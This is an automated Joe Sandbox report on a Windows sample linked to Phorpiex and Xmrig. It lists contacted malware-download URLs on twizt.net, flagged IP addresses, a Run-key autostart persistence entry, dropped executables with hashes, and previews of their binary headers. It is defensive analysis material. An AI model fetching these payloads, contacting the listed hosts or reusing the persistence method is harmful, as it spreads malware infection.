http://twizt.net/newtpp.exe	LM94OE0VNK.exe, 00000000.00000002.1476552033.00000000008B2000.00000004.00000020.00020000.00000000.sdmp, LM94OE0VNK.exe, 00000000.00000002.1476552033.000000000085E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://twizt.net/peinstall.php	LM94OE0VNK.exe	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.66	twizt.net	Portugal	206894	WHOLESALECONNECTIONSNL	true
217.30.162.161	unknown	Uzbekistan	39032	ISPETCUZ	false
178.22.172.2	unknown	Kazakhstan	41798	TTC-ASJSCTranstelecomKZ	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
90.156.160.6	unknown	Russian Federation	25532	MASTERHOST-ASMoscowRussiaRU	true
91.202.233.141	unknown	Russian Federation	9009	M247GB	false
80.191.218.209	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1564700
Start date and time:	2024-11-28 18:17:17 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	LM94OE0VNK.exe renamed because original name is a hash value
Original Sample Name:	8ce09f13942ab5bcb81b175996c8385f.exe
Detection:	MAL
Classification:	mal100.evad.winEXE@20/10@1/7
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 69 Number of non-executed functions: 152
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.109.209.108
Excluded domains from analysis (whitelisted): redir.update.msft.com.trafficmanager.net, slscr.update.microsoft.com, www.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: LM94OE0VNK.exe

Simulations

Behavior and APIs

Time	Type	Description
12:18:37	API Interceptor	2x Sleep call for process: sysnldcvmr.exe modified
18:18:37	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run Windows Settings C:\Windows\sysnldcvmr.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.66	U9jAFGWgPG.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	185.215.113.66/5
	ukOlLduCBM.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	185.215.113.66/5
	Bjl3geiFEK.exe	Get hash	malicious	Phorpiex	Browse	185.215.113.66/2
	T52Z708x2p.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	185.215.113.66/1
	lJ4EzPSKMj.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	185.215.113.66/2
	Us051y7j25.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	185.215.113.66/5
	thcdVit1dX.exe	Get hash	malicious	Phorpiex	Browse	185.215.113.66/3
	bBcZoComLl.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	185.215.113.66/4
	file.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	185.215.113.66/5
	dgiX55cHyU.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	185.215.113.66/5
217.30.162.161	lJ4EzPSKMj.exe	Get hash	malicious	Phorpiex, Xmrig	Browse
	lRT1FK9PcL.exe	Get hash	malicious	Phorpiex	Browse
	H6uKtOX196.exe	Get hash	malicious	Phorpiex, Xmrig	Browse
	yBIZ7wHvEC.exe	Get hash	malicious	Phorpiex	Browse
239.255.255.250	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	file.exe	Get hash	malicious	Cryptbot	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	https://application-workspace.com/red-bull/id-38772	Get hash	malicious	Unknown	Browse
	https://share.fremontpeak.org/___.YzJ1OmNvZ2l3ZWIyOmM6bzpiNTEyZDAxNmZiN2I1MjU1MmE3OTQzOTdiZmE2NWEzZjo3OmQ0ZjU6ZDQ4OTQ1MWM1NjM2NzgxOWI0N2UyODgzNmYwYzIzOTkxYjZmOTA5ZjUyY2M5MTJiN2UzZTBiMmYwOTQ5NzhhNTpoOlQ6Tg	Get hash	malicious	Unknown	Browse
	https://www.google.rs/url?q=792CHARtTPSJ3J3wDyycT&sa=t&esrc=gxOmmFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=HARlDJVS0YXpPkDfJ6C&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp/ezraandhermes.com/bdman/authfyz//ylJB8Cet6FqlPfuIplTD1PwC/Z3JlZ29yeS5jYXJsdWNjaUBtYWxsaW5ja3JvZHQuY29t	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	file.exe	Get hash	malicious	Cryptbot	Browse
	http://theluckyhouse.vn/dnkdl	Get hash	malicious	Unknown	Browse
	http://englobe.infralogin.com/passresetconfirm/ODA0MDY/6qb-fdbad004345ade5cc1bb/	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
twizt.net	U9jAFGWgPG.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	185.215.113.66
	ukOlLduCBM.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	185.215.113.66
	T52Z708x2p.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	185.215.113.66
	thcdVit1dX.exe	Get hash	malicious	Phorpiex	Browse	185.215.113.66
	dgiX55cHyU.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	185.215.113.66
	SecuriteInfo.com.Trojan.DownLoader46.2135.13298.13900.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	185.215.113.66
	qRavA0Sorz.exe	Get hash	malicious	Unknown	Browse	185.215.113.66
	qRavA0Sorz.exe	Get hash	malicious	Unknown	Browse	185.215.113.66
	SecuriteInfo.com.Trojan.DownLoader46.63386.25844.4041.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	185.215.113.66
	SecuriteInfo.com.Trojan.DownLoader46.2135.7325.13890.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	185.215.113.66

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ISPETCUZ	botx.m68k.elf	Get hash	malicious	Mirai	Browse	217.30.172.162
	U9jAFGWgPG.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	217.30.171.37
	mips.elf	Get hash	malicious	Mirai, Moobot	Browse	217.30.172.111
	T52Z708x2p.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	87.237.236.86
	lJ4EzPSKMj.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	217.30.162.161
	file.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	89.236.218.158
	dgiX55cHyU.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	217.30.162.37
	GGXhCiYFBw.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	217.30.163.15
	file.exe	Get hash	malicious	Phorpiex	Browse	217.30.160.219
	SecuriteInfo.com.Trojan.DownLoader46.2135.11116.25434.exe	Get hash	malicious	Phorpiex	Browse	87.237.236.86
TTC-ASJSCTranstelecomKZ	ukOlLduCBM.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	178.22.171.158
	Us051y7j25.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	178.22.171.158
	SecuriteInfo.com.Win32.Sector.30.15961.3704.exe	Get hash	malicious	Sality	Browse	178.22.169.142
	n5h5BaL8q0.exe	Get hash	malicious	Sality, XWorm	Browse	178.22.169.142
	SecuriteInfo.com.Win32.Sector.30.19697.26848.exe	Get hash	malicious	Sality	Browse	178.22.169.142
	HZcInD4qL2.elf	Get hash	malicious	Unknown	Browse	94.141.238.249
	xJd712XMG6.exe	Get hash	malicious	Phorpiex	Browse	94.141.249.222
	file.exe	Get hash	malicious	Phorpiex	Browse	87.255.212.22
	TGmAf3feA5.elf	Get hash	malicious	Mirai	Browse	94.141.238.240
	kMQbvSnfVa.elf	Get hash	malicious	Unknown	Browse	2.57.112.230
MASTERHOST-ASMoscowRussiaRU	santi.exe	Get hash	malicious	FormBook	Browse	90.156.201.74
	arm.nn-20241122-0008.elf	Get hash	malicious	Mirai, Okiru	Browse	217.16.29.179
	arm4.elf	Get hash	malicious	Mirai	Browse	84.252.144.212
	U9jAFGWgPG.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	90.156.163.55
	sora.ppc.elf	Get hash	malicious	Mirai	Browse	90.156.146.158
	ukOlLduCBM.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	90.156.163.10
	T52Z708x2p.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	90.156.162.79
	lJ4EzPSKMj.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	90.156.160.86
	Us051y7j25.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	90.156.160.66
	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	90.156.164.196
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\240016073.exe	U9jAFGWgPG.exe	Get hash	malicious	Phorpiex, Xmrig	Browse
	ukOlLduCBM.exe	Get hash	malicious	Phorpiex, Xmrig	Browse
	T52Z708x2p.exe	Get hash	malicious	Phorpiex, Xmrig	Browse
	lJ4EzPSKMj.exe	Get hash	malicious	Phorpiex, Xmrig	Browse
	Us051y7j25.exe	Get hash	malicious	Phorpiex, Xmrig	Browse
	thcdVit1dX.exe	Get hash	malicious	Phorpiex	Browse
	bBcZoComLl.exe	Get hash	malicious	Phorpiex, Xmrig	Browse
	file.exe	Get hash	malicious	Phorpiex, Xmrig	Browse
	dgiX55cHyU.exe	Get hash	malicious	Phorpiex, Xmrig	Browse
	GGXhCiYFBw.exe	Get hash	malicious	Phorpiex, Xmrig	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\240016073.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\240016073.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	425
Entropy (8bit):	5.357964438493834
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPXcp1OKbbDLI4MWuPOKfSSI6Khav:ML9E4KQwKDE4KGKZI6Khk
MD5:	D8F8A79B5C09FCB6F44E8CFFF11BF7CA
SHA1:	669AFE705130C81BFEFECD7CC216E6E10E72CB81
SHA-256:	91B010B5C9F022F3449F161425F757B276021F63B024E8D8ED05476509A6D406
SHA-512:	C95CB5FC32843F555EFA7CCA5758B115ACFA365A6EEB3333633A61CA50A90FEFAB9B554C3776FFFEA860FEF4BF47A6103AFECF3654C780287158E2DBB8137767
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GIBVL2EB\gonup[1]

Download File

Process:	C:\Windows\sysnldcvmr.exe
File Type:	data
Category:	dropped
Size (bytes):	81152
Entropy (8bit):	7.998011911006711
Encrypted:	true
SSDEEP:	1536:WvQLn+ioEm71GeGAOGQE7B7OTaVO8w2t0DX98HXp68iBeJ8DlE:EQy8eGetjQEV7o2+L+Xp68TF
MD5:	62C2757AA18C26E3E62E668C7D7A6BA7
SHA1:	F67D1852F06F3ECE3192D7DA51A395AE45DDBCD3
SHA-256:	13833BCC37A158821DAD602493FF4751334191A01EBCB44A345649B7A6F81BE6
SHA-512:	4D27E9E97920CB84E8CC7DA010F5F4D91837DE6DBFE95253EA900E165884C2A16A712D91B216903BB19A47C4671F80F62CA99BB3828C0204C4C830F464592806
Malicious:	false
Preview:	>o?].......W..y...4...........).X.FL.g}M..uu..N......i.....O.O@.$,e63.H.......V..~R..V..Ye..^^\|;Q..F.U...9.Vm..?}..X\|..!....$?./V.}.....C..Zd......:IU..f.3..wgr...k...v/...v.T.:U..........f.H.4s..,.h..!.,..'...c.#2...'.+.\|Sw.......#.. ~8.c..Q..`M.~.@....t^!...H..5.X..o^.....c..+T.g.=....%....Dt4u.].%g.%^.jr...".S.....F.J.(.s.X.sX..w%fO.....m..'1..^(...t.....J..0S.t....BA5.LK:..E.[..k....3R..&.. I..,...@.A..'N.@....97K]....Ag.#...,..^['....+B1.V..2..#...U.1..$.3h)V...M(.}.y.4h2.....b.g..(\|.#.{N.W.)&^?.r`.......h...b......&.7.$....b....b~.b..:'....bc...rx.x.&&.`(..De.u....u.5D..y..=..P..e.4<...../..T2Qb1pA9.o...Xe(..R@...L...f........l...,D.W*....J..Z.....h\|.....^.W].cf<.P...k.Hk..4.b.....GB..}.z.Q..\[J..q.I....!.znI..V<^q...#..68+.....}!.....{.<Tv.P...i.`..V.......lC&..6.~.#5g@)w..G...........f..9wlr`.....n. .()...3+.(...3.. ...Q...29.........4.A...Y._...x......90r.@:...m..i[72p...............6..y.M.h...c9%nU.).b.H...6......>..l

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ONMZACOW\1[1]

Download File

Process:	C:\Windows\sysnldcvmr.exe
File Type:	data
Category:	dropped
Size (bytes):	8960
Entropy (8bit):	7.980118959451248
Encrypted:	false
SSDEEP:	192:8w3f/H9pFkeMpRmPIlHDCEkAH5gWPmEt3TXxl/6LkbgewuNvm:8snHrUVjbHH5g+mEt3z64bdNvm
MD5:	39F45EDB23427EBF63197CA138DDB282
SHA1:	4BE1B15912C08F73687C0E4C74AF0979C17FF7D5
SHA-256:	77FBB0D8630024634880C37DA59CE57D1B38C7E85BDCC14C697DB9E79C24E0DE
SHA-512:	410F6BAAD25B256DAEBFA5D8B8A495429C9E26E7DE767B2A0E6E4A75E543B77DBD0ABCA0335FB1F0D91E49E292B42CEDC6EDD72D25A3C4C62330E2B31C054CC6
Malicious:	false
Preview:	$.g.r5].F.M[..o.I.........5.Eb....L6,.i%.kZ.....8....ePI\|.....<..iq....#.......O@5..U\|{`)...].H........x..-..dR~A.}"2......... +.(..R.m....d...!..(...$..5.t...F.]...<.g"...V.(1}.]C........s3..76..&...Ic...%t..h.I.b.....R(......}..IE...<.....]..C.....9....xi\|........../.....>y..4m..3..hO.....;...<.\|..5.,.0.tA`.J..Nn;.w.es...q.T.._...:<....fb7..J.H.3&. ...f..1.F.G.c..&k..,J..x+..c.`.w....s....~.........(s..F..IT...,....5\.).}..-..@........4.>a.u...e.\..v.=.I.kB..[..Q...2..c.LA.lT..rO.....U.Y..m.j#.u...U..P...>.Y{,...Tk....3.h.,v..)..P.TK3_.+..+....m..NP[..qe.......G9.f..\|........[.-&M~&..14w.._.l.a./.ok...w.M.._...w..^7Rgg....%.Tv...}....T..p...;d.Su..z.FPH...Z....I...pz5...0g..`..l..K\V3...t..r.y.l...2..R.]?cz.m....v....o.......\. ....0.o.N3.a.P..V.=BE\..... _.^hV.f.\..n.$0..q.C........7..BQ.n...}c..../.Yd=.G...-.....T.Sx..&...z.wi...:...,.a..........o.ou....Hn...8....Zx...............F^=R...nU.T.D9.'.W..L.dPi.^`ZBj..2.....z.\.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\newtpp[1].exe

Download File

Process:	C:\Users\user\Desktop\LM94OE0VNK.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80896
Entropy (8bit):	6.424014659383267
Encrypted:	false
SSDEEP:	1536:ZwjmKHFmav82kFifdWXwCsgTT+vr3Rzmxwz6fYc6on:+6tOMFif3CsKavr0xwz6gc6on
MD5:	0C883B1D66AFCE606D9830F48D69D74B
SHA1:	FE431FE73A4749722496F19B3B3CA0B629B50131
SHA-256:	D921FC993574C8BE76553BCF4296D2851E48EE39B958205E69BDFD7CF661D2B1
SHA-512:	C047452A23EFAD4262479FBFEB5E23F9497D7CEFD4CBB58E869801206669C2A0759698C70D18050316798D5D939B989537FDCE3842AA742449F5E08ED7FA60A5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 75%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m.pj)..9)..9)..9 ..9...9Q..8+..9..C9+..9..A9(..9...9+..9..s9-..9)..9...9..e9<..9 ..9-..9 ..95..9 ..9(..9Rich)..9........................PE..L.....3g.....................d.......u............@..........................p...............................................$.......................................................................................................................text............................... ..`.rdata...3.......4..................@..@.data...(/...@... ..................@...................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2374323789.exe

Download File

Process:	C:\Users\user\Desktop\LM94OE0VNK.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80896
Entropy (8bit):	6.424014659383267
Encrypted:	false
SSDEEP:	1536:ZwjmKHFmav82kFifdWXwCsgTT+vr3Rzmxwz6fYc6on:+6tOMFif3CsKavr0xwz6gc6on
MD5:	0C883B1D66AFCE606D9830F48D69D74B
SHA1:	FE431FE73A4749722496F19B3B3CA0B629B50131
SHA-256:	D921FC993574C8BE76553BCF4296D2851E48EE39B958205E69BDFD7CF661D2B1
SHA-512:	C047452A23EFAD4262479FBFEB5E23F9497D7CEFD4CBB58E869801206669C2A0759698C70D18050316798D5D939B989537FDCE3842AA742449F5E08ED7FA60A5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 75%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m.pj)..9)..9)..9 ..9...9Q..8+..9..C9+..9..A9(..9...9+..9..s9-..9)..9...9..e9<..9 ..9-..9 ..95..9 ..9(..9Rich)..9........................PE..L.....3g.....................d.......u............@..........................p...............................................$.......................................................................................................................text............................... ..`.rdata...3.......4..................@..@.data...(/...@... ..................@...................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\240016073.exe

Download File

Process:	C:\Windows\sysnldcvmr.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	8704
Entropy (8bit):	5.0125514402992275
Encrypted:	false
SSDEEP:	192:Otk3w0++KjlRC5vVkDlBj9k2cugyJBLCsZ:OEYjlRAGlBj9kSgiLC0
MD5:	CB8420E681F68DB1BAD5ED24E7B22114
SHA1:	416FC65D538D3622F5CA71C667A11DF88A927C31
SHA-256:	5850892F67F85991B31FC90F62C8B7791AFEB3C08AE1877D857AA2B59471A2EA
SHA-512:	BAAABCC4AD5D409267A34ED7B20E4AFB4D247974BFC581D39AAE945E5BF8A673A1F8EACAE2E6783480C8BAAEB0A80D028274A202D456F13D0AF956AFA0110FDF
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 79%
Joe Sandbox View:	Filename: U9jAFGWgPG.exe, Detection: malicious, Browse Filename: ukOlLduCBM.exe, Detection: malicious, Browse Filename: T52Z708x2p.exe, Detection: malicious, Browse Filename: lJ4EzPSKMj.exe, Detection: malicious, Browse Filename: Us051y7j25.exe, Detection: malicious, Browse Filename: thcdVit1dX.exe, Detection: malicious, Browse Filename: bBcZoComLl.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: dgiX55cHyU.exe, Detection: malicious, Browse Filename: GGXhCiYFBw.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....=d.........."...................... .....@..... .......................`............@...@......@............... ...............................@..(............................................................................................ ..H............text........ ...................... ..`.rsrc...(....@......................@..@.reloc.......`......."..............@..BH........#.......................................................................0..i.......r...pr...p(......&..r...pr...p(......&..(......&.. ....(....~.....(.....((....r:..p(....(......&...(........4...................%........(../........<.#_.......0..:.......s.......o......o.....(....o......o......o.....(....&..&............66.......0..\..................rt..p....s.....(.........+6........o....o....r...p(....(...+.2...o....o.......X.......i2............r...p.........(....(.....

C:\Users\user\AppData\Local\Temp\2693731851.exe

Download File

Process:	C:\Windows\sysnldcvmr.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80896
Entropy (8bit):	6.424014659383267
Encrypted:	false
SSDEEP:	1536:ZwjmKHFmav82kFifdWXwCsgTT+vr3Rzmxwz6fYc6on:+6tOMFif3CsKavr0xwz6gc6on
MD5:	0C883B1D66AFCE606D9830F48D69D74B
SHA1:	FE431FE73A4749722496F19B3B3CA0B629B50131
SHA-256:	D921FC993574C8BE76553BCF4296D2851E48EE39B958205E69BDFD7CF661D2B1
SHA-512:	C047452A23EFAD4262479FBFEB5E23F9497D7CEFD4CBB58E869801206669C2A0759698C70D18050316798D5D939B989537FDCE3842AA742449F5E08ED7FA60A5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 75%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m.pj)..9)..9)..9 ..9...9Q..8+..9..C9+..9..A9(..9...9+..9..s9-..9)..9...9..e9<..9 ..9-..9 ..95..9 ..9(..9Rich)..9........................PE..L.....3g.....................d.......u............@..........................p...............................................$.......................................................................................................................text............................... ..`.rdata...3.......4..................@..@.data...(/...@... ..................@...................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\tbtcmds.dat

Download File

Process:	C:\Windows\sysnldcvmr.exe
File Type:	data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	7.28515973169972
Encrypted:	false
SSDEEP:	6:Iyu4QX3zGPoJz9fxrQM7j1td6tstnKAC2CooOaJX9laJz/0:IVFXjA8VdXd6YnK9B68
MD5:	E9ACD9F780983202F14871AF9BDE3399
SHA1:	A76E45F3B6B86D2EF2757F138A308158985FABBF
SHA-256:	B4BE18FDC793F59785C72B9F7203B8DDE0221375436C2370DEC83B8243B793DE
SHA-512:	5967F2D1FEA02A15EF08F3B4243BB2AFFDB0778D803536096A9B7A3C7CF0D3BE5B77DBD1F116FF06FA08B7FB204C51DAB9450E9CC311C4E229194B540EFE6051
Malicious:	false
Preview:	.4.9..z....q.\|...s..3A.k....,...u.4.....:.C&.;.L.e........9^~..%..T..PL.`S.d.'a;O.......-...E....P\S.>L.x0.L..........F...+T5.5.,.z@.....y.8..xpuS.`4..@#/6r.....E.....l.A?.O..d.gb...-.....\._.....y...-..+.O...>.=i.aR.....r.vn.[..::..08.e..Zl../..Y...t.h^C...)..a....T\..U

C:\Users\user\tbtnds.dat

Download File

Process:	C:\Windows\sysnldcvmr.exe
File Type:	data
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	4.903325145765822
Encrypted:	false
SSDEEP:	96:VI7lxpje1/XGuiCk3jc5LdxJvxvWNpvoS7Noz2xGMl/Ug4si:keWCkTc5x4JRoni4P
MD5:	EFFF03D9B6519B3EFEE1C681CAF49A04
SHA1:	3F3E615902795B94DA037AAC6F9329A643F52ACB
SHA-256:	E27462FFBAD619BEB54C6E4AD9A551B82E19F73F463CC7D98DD6891E49A0B7A0
SHA-512:	2B4F607542291E0ADE883889928EAC9A164A0900117FDA8B1B2759D07E10B0F7CCA04411966E1EAC3A936BBDB16AF78ED7ACD146EC40A66CDDFB1BDAD8C44848
Malicious:	false
Preview:	......zT..g...zT......zT;..>..yT.G....yT>....yTZ..g..yT...`..yTV>....yT...m..yT......yTi.....yT.z....yT.A...yTZ..l..yT./....yT...O..yT.................TQ....Y,......f.a......8.R.......R.....q.M...._;.......py;....-........\|....../.'....m.o.....M........Y.......r......^.D8......g.....\\|.........V.....#......../.......%......6......~}....Y........L........9G......I....{......................#@......{E/............^..8....f.P....M,.%....[]........e8.......]..............c......._.....Z......f..T....f.......Z..R......l......l\......A:..............~.....%x.........1.....e......Y.......M.w....u.......R.xJ....-.h.......cw......................pR......[W............y.V...._;.......z......_9......U.......^.Ez.....[/=....&......_.W.....]..(....R..A...._:....................................Z..{.......E.....6......\|m0.............Z..S....[z.v.....Qf............m......Z..H.......$......f.......'....Z..}....................pB......a......F5.....................{.....].V.....

C:\Windows\sysnldcvmr.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\2374323789.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80896
Entropy (8bit):	6.424014659383267
Encrypted:	false
SSDEEP:	1536:ZwjmKHFmav82kFifdWXwCsgTT+vr3Rzmxwz6fYc6on:+6tOMFif3CsKavr0xwz6gc6on
MD5:	0C883B1D66AFCE606D9830F48D69D74B
SHA1:	FE431FE73A4749722496F19B3B3CA0B629B50131
SHA-256:	D921FC993574C8BE76553BCF4296D2851E48EE39B958205E69BDFD7CF661D2B1
SHA-512:	C047452A23EFAD4262479FBFEB5E23F9497D7CEFD4CBB58E869801206669C2A0759698C70D18050316798D5D939B989537FDCE3842AA742449F5E08ED7FA60A5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 75%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m.pj)..9)..9)..9 ..9...9Q..8+..9..C9+..9..A9(..9...9+..9..s9-..9)..9...9..e9<..9 ..9-..9 ..95..9 ..9(..9Rich)..9........................PE..L.....3g.....................d.......u............@..........................p...............................................$.......................................................................................................................text............................... ..`.rdata...3.......4..................@..@.data...(/...@... ..................@...................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.073117059268331
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	LM94OE0VNK.exe
File size:	10'240 bytes
MD5:	8ce09f13942ab5bcb81b175996c8385f
SHA1:	6fa685d66ac5fff4e9d984dc1903c47a1a6b6cbd
SHA256:	757bf8be40693456e7cdee5c53416d1cb223da5f7d0b9d55f4aca95f6a57605d
SHA512:	11ae4651b3dd55355b2cb7bf2f6b042dea47bb895f898d967d63ee652652c633cc5becf31cb2fd7f8797b238b264195d09d4e08211b797eae29e2a7bb31b277f
SSDEEP:	96:7L0paShFKPqYTdGLDad04DCcR+58DsrVJQsfuJxGEOaRh2qhRC7tCEMSI:72hBMGtkR+iDswsWJxTOchthyMB
TLSH:	BF22290B7DCA40A1E3904CF047F2878A8BFE94631B92B2CFB7B3C2595F5135184966E6
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......k..Y/.../.../...&.`.-...&.f.....&.p.:....s..".../.......&.w.,...&.b.....Rich/...........................PE..L...t4Hg...........

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x401701
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x67483474 [Thu Nov 28 09:14:28 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	e6eef170b092805b77c0546e3604d99f

Entrypoint Preview

Instruction
call 00007F36744F4F57h
jmp 00007F36744F491Bh
mov edi, edi
push ebp
